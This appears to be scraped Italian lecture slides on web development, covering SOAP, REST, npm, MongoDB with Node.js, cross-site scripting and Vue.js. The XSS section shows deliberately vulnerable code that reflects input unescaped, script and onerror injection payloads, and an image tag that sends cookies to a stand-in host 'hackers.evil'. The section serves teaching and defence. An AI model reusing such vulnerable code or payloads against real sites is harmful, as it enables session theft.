<operation name="getTerm">
<input message="getTermRequest"/>
<output message="getTermResponse"/>
</operation>
</portType>
<binding type="glossaryTerms" name="b1">
<soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http" />
<operation>
<soap:operation soapAction="http://example.com/getTerm"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
Representational State Transfer (RESTful)
Nasce dalla tesi di Roy T. Fielding
http://myapp.com/api/entry
http://myapp.com/api/entry/17
non è necessario implementare tutto
Risorsa | Metodo |
---|---|
Lista libri |
[GET] /books . |
Dettaglio libro |
[GET] /books/<id> . |
Creazione libro |
[POST] /books POST . |
Modifica libro (o creazione libro con uno specifico ID) |
[PUT] /books/<id> . |
Cancellazione libro |
[DELETE] /books/<id> . |
GET http://myapp.com/api/entry
[{
id: 17,
date: "2013/15/5 11:58:00",
amount: 17.38,
currency: "eur",
description: "pranzo"
}, {
id: 185,
date: "2013/15/5 8:30:00",
amount: 1.20,
currency: "eur",
description: "caffè"
}]
Alcune idee di REST sono belle, ma di fatto impraticabili... occorre documentazione!
OpenAPI is an API description format for REST APIs
Alcune opzioni
Si crea semplicemente con npm init
npm install cosa --save
Perché --save
?
npm install cosa --save-dev
npm install
npm install --production
npm uninstall cosa --save
npm update cosa
npm list
cosa
può specificare la versione con @Le versioni sono sempre Major.Minor.Patch
^Maj.min.patch
→ installa la minor/patch più recente
~Maj.min.patch
→ installa la patch più recente
Maj.min.patch
→ installa esattamente quella
*
→ installa la versione più recente (pericoloso)
I pacchetti di default sono locali, propri di un progetto.
I pacchetti globali sono installati per tutto il PC.
npm install -g cosa
Magari con sudo
npm remove -g cosa
Permettono di eseguire task
node run nomeScript
start
Si esegue direttamente con node start
, senza run
Caso tipico di una web application: interagire con un database
La tipologia del database non è importante (SQL/NOSQL, indifferente)
Abbinamento Node.js e MongoDB viene "naturale"
Useremo il modulo mongodb
Connection URI:
MongoClient
per gestire connessioneconnect()
che apre la connessioneclose()
MongoClient
restituisce il database di MongoDB tramite db()
collection()
const { MongoClient } = require("mongodb");
const uri = "mongodb://localhost:27017";
const client = new MongoClient(uri);
async function connect() {
try {
await client.connect();
} finally {
await client.close();
}
}
connect().catch(console.log);
FindCursor
Collection.find()
Collection.findOne()
Collection.aggregate()
Collection.insert()
Collection.insertOne()
Collection.updateOne()
Collection.updateMany()
Collection.replaceOne()
Collection.deleteMany()
Collection.deleteOne()
const query = { title: "Titolo cercato" };
const options = {
sort: { "imdb.rating": -1 }
};
const movie = await movies.findOne(query, options);
const query = { runtime: { $lt: 15 } };
const options = {
sort: { "imdb.rating": -1 }
};
const cursor = movies.find(query, options);
await cursor.forEach(console.dir);
console.log(await cursor.toArray());
const http = require('http');
const url = require('url');
http.createServer(function (req, res) {
const queryObject = url.parse(req.url, true).query;
res.write('<html>');
if(queryObject.par1 !== undefined){
res.write(queryObject.par1);
}
res.write('</html>');
res.end();
}).listen(3000);
http:.../?par1=<script>alert("ciao");<script>
document.cookie
img
link
<img src="http://hackers.evil/img.jpg?cookie=xxx" />
Come dovrebbe funzionare l'attacco?
Molto comune nelle Single Page Application
L'anchor (#
) viene utilizzato per navigare tra le slide: del codice javascript leggerà l'url ed estrarrà il numero della slide
url = new URLSearchParams(location.search);
x = url.get('x');
document.write(x);
http://trusted.com?n=<script>alert(...)</script>
document.URL
document.referrer
location.search
document.write()
innerHTML
eval()
document.URL
viene convertitodecodeURIComponent()
const pos=document.URL.indexOf("n=")+2;
const n = document.URL.substring(pos,document.URL.length)
document.write(n);
http://trusted.com?n=<script>alert(...)</script>
→ stampa %3Cscript%3Ealert(1)%3C/script%3E
<body>
</body>
const search = location.search;
const params = new URLSearchParams(search);
const data = params.get("n");
const main = document.querySelector("main");
main.innerHTML = "<img src='"+data+"'.png' />";
http://trusted.com?n=%27%20onerror=%27alert()%27
<body>
<img src='' onerror="alert()"/>
</body>
const search = location.search;
const params = new URLSearchParams(search);
const data = params.get("n");
const main = document.querySelector("main");
main.innerHTML = "<img src='"+data+"'.png' />";
http://trusted.com?n=%27%20onerror=%27alert()%27
In pillole:
express-validator
Vue (pronounced /vjuː/, like view) is a progressive framework for building user interfaces. Unlike other monolithic frameworks, Vue is designed from the ground up to be incrementally adoptable.
Devo includere Vue nel mio documento web
Conviene usare una CDN:
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
Versione di produzione (senza warning e debug):
<script src="https://unpkg.com/vue@3/dist/vue.global.prod.js"></script>
Ogni applicazione inizia creando una nuova istanza Vue tramite createApp()
:
import { createApp } from 'vue'
const app = createApp({
/* opzioni */
})
Una applicazione deve essere legata ad un container, un elmento HTML dove fare il rendering dell'applicazione
Si fa tramite il metodo mount()
:
app.mount('#app')
Vue.js si basa sul reactivity system: se un oggetto JavaScript viene modificato, la view viene aggiornata
Gli oggetti che voglio controllare col reactivity system vanno passati tramite la proprietà data
data
sarà un metodo che restituisce gli oggetti da monitorare.
Il reactivity system si occuperà di "reagire" ogni volta che una di queste proprietà viene modificata eseguendo il re-rendering.
var data = { a: 1 }
const app = createApp({
data() { return data }
})
Vue.js usa una sintassi basata su template HTML dinamici. Per legare i dati al render ha delle funzioni di interpolazione
{{ x }}
detto "mustache", nell'html viene sostituito dalla valutazione di x
x
va resa come html, devo usare la direttiva v-html
methods
v-
:
Ora mi vedi
La direttiva v-if
rimuove/inserisce l'elemento se l'espressione "seen" è falsa/vera
v-if
mostra o nasconde un elemento se l'espressione è vera o falsav-for
ripete il componente per ogni elemento di un oggetto iterabilev-on:event
associa una funzione all'evento event
v-bind:attr
lega il valore di una attributo attr
ad una espressionev-html
imposta innerHTML
dell'elemento con l'espressionev-on:event
→ @event
v-bind:attr
→ :attr
computed
const { createApp } = Vue
const data = {firstname: "Andrea", lastname: "De Lorenzo"};
const app = createApp({
data() {
return data
},
computed: {
fullname: function() {
return this.firstname + ' ' + this.lastname;
}
}
});
app.mount('#app');
class
con la direttiva :class
:class="{ 'cl1': hasCl1, 'cl2': hasCl2}"
:class="['cl1','cl2']"
v-on:event
o @event
possiamo gestire gli eventi.stop
: blocca il bubbling.prevent
: previene l'azione standard.once
: invoca la callback una sola volta, poi la rimuove<a href="..." @click.prevent="onClick">Ancora</a>
v-bind="myModel"
<main id="app">
{{testo}}
</main>
const app = createApp({
data() {
return {testo: ""}
}
});
<mio-comp></mio-comp>
Registrazione globlae
app.component('mio-comp', {
[...]
});
Registrazione locale
export default {
[...],
components: {
'mio-comp': {
[...]
}
}
});
data
data
data
rappresenta il modello dei dati reattivo per quel componenteexport default {
data: function() {
return {
name: 'Andrea',
age: 37
};
}
}
template
template
Stringa inline
const ButtonCounter = {
data() {
return {
count: 0
}
},
template: `
`
}
Stringa in modulo separatoS
export default {
data() {
return {
count: 0
}
},
template: `
`
}
props
props
props
<div id="app">
<people-list :people="people"></people-list>
<div>
<input v-model="name" placeholder="name" /><br />
<input v-model="surname" placeholder="surname" /><br />
<button @click.prevent="addPerson">Add person</button>
</div>
</div>
props
const { createApp } = Vue
const PeopleList = {
props: ['people'],
template: ` `
}
const Person = {
props: ['person'],
template: `{{ person.name }} {{ person.surname }}`
}
const app = createApp({
data() { return { people: [{ name: 'Andrea', surname: 'De Lorenzo' }], name: '', surname: ''}},
methods: {
addPerson: function() {
this.people.push({
name: this.name,
surname: this.surname
});
this.name = '';
this.surname = '';
}
}
});
app.component("Person", Person);
app.component("PeopleList", PeopleList);
app.mount('#app');
Output
{{msg.title}}
Funzionalità
Stile
<template>
<script>
<style>
Spesso le Web App sfruttano il concetto di Single Page Application
Tutta l'applicazione sta in una singola pagina html le cui componenti cambiano dinamicamente a seconda del contenuto
Comodo offrire dei permalink alle risorse in una Single Page Applicaion
Si sfruttano le ancore dell'url (la parte che segue #
)
In Vue.js si usa il routing per caricare template in base all'url
import Home from './Home.js'
import About from './About.js'
import NotFound from './NotFound.js'
const routes = {
'/': Home,
'/about': About
}
export default {
data() {
return { currentPath: window.location.hash }
},
computed: {
currentView() {
return routes[this.currentPath.slice(1) || '/'] || NotFound
}
},
mounted() {
window.addEventListener('hashchange', () => {
this.currentPath = window.location.hash
})
},
template: `<a href="#/">Home</a> |<a href="#/about">About</a> | <a href="#/non-existent-path">Broken Link</a>
<current-view><</current-view>`
}
/code>